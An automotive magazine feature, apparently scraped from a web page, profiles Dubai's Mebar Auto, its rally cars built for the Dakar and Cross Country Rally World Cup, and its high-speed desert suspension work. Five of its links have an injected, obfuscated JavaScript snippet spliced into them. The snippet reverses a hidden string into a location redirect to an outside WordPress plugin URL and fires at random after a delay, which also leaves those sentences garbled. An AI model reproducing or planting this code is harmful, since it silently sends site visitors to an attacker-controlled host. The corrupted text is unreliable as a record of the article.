crankandpiston gets the low-down on the Dakar Rally, competing in the Cross Country Rally World Cup, why horsepower on the sands is nothing without the proper suspension, and why a Nissan Juke makes the perfect off-road vehicle.
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It’s difficult not to be in awe of the F-150 I’m standing next to and it’s not just the roll cage, the 5.4-litre supercharged V8 under the bonnet, or the rally-spec suspension the Ford is currently packing. It’s more the size of the brute: it is absolutely enormous! And $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/ford-raptor-dubai-uae-extinction-pah/” target=”_blank”>we’ve taken the Raptor for a thrash around the wadis, so we know a thing or two about big Fords.
There’s little wonder though. This behemoth is just one truck of several Mebar Auto – based in Dubai’s Al Quoz industrial estate – has developed for the legendary $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dakar-rally-five-reasons-why-al-attiyah-and-sainz-will-win/” target=”_blank”>Dakar Rally: a two-week trek across the ravaged plains of Africa (and latterly South America), and a notorious car breaker.
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Granted, this particular beast hasn’t made its competitive debut, but the previous two machines sporting Mebar decals proved more than a match for the desert, according to Mebar Auto Managing Partner Rashad Faraj.
“Last year we opened a new division called Mebar Motorsports,” explains Rashad, “and through that we produced three rally cars. For the first time in the Middle East, the cars were built from scratch and sent to compete in the FIA Cross Country Rally World Cup [of which Emirati Khalifa Al Mutaiwei is the reigning Champion]. They entered the Pharaons rally, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/abu-dhabi-desert-challenge-the-perils-ahead/” target=”_blank”>the Desert Challenge, and of course the famous Dakar.
“The cars that went to Dakar” – each codenamed the 4×4 Mebar M440, with 4.0-litre engines – “it was their first race, and they completed it. Well, one of them did. The driver crashed the other one! But the car didn’t fail.”
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His passion for rallying is beyond question. Before joining Mebar Auto as a partner in 2008 some twenty years after the business was established, Rashad and business partner Khaled Mebar were frequent competitors on the rally stages. Given the technical know-how they’d acquired, as well as an enthusiasm that refused to wane, it wasn’t too long before the pair started taking Mebar – a former spare parts facility – in a new direction.
“Back in the early days, Khaled” – who by the way has over 35 years experience as a mechanic – “prepared cars for rally cars around the world. So we built a small racing car and started racing just for the fun of it. Then it became a bit more serious. In 2007 we finished 3rd overall in the UAE Rally Championship in a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/jeep-wrangler-sport-auto-desert-jamboree-dubai/” target=”_blank”>Jeep Wrangler. It was nowhere near being a winning car but the result got us thinking.
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“So in 2008, we wanted Mebar Auto to provide the best products in the world for off-road industry. A lot of kits and products are designed for rock rolling, or trail driving. They don’t suit the high-speed desert use that we were focused on. So we started developing our own products to suit the terrain that we have.”
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In the UAE, a duner’s heaven, a workshop specialising in off-road vehicles hardly stands out as ‘niche’. Mebar’s concept though is altogether different. While the idea of attacking a dune or conquering the wadis has kept garages in the region in business for years (and competition for business accordingly tight), there’s few in the region that will routinely setup an off roader to hit highway cruising speed on sand. And as you might expect, there’s much more involved than strapping on larger tyres and upending more horsepower under the bonnet.
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“A lot of times customers think they know what to do, and then we take their ideas, and that tells us what direction they want to go. We want to find out what suits a customer’s driving style, what he wants to achieve with his car, and offer him the correct setup, so that when he goes off-road he doesn’t damage the car. We then guide them in terms of setup and explain what each development is for, and how it works.
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“They’re realising that no matter how much horsepower you have, if you don’t have the suspension, it won’t get you anywhere. We’ve seen vehicles with good suspension and half the power go up dunes that higher-powered models can’t. Off-roaders with good suspension can just keep going without losing traction or any momentum. Those with higher horsepower can’t do that.
“You could do lift kits, or budget boost, or levelling, but these are just for show. Our work is more serious. It’s the kind of thing you’d find on a truck competing at Baja.”
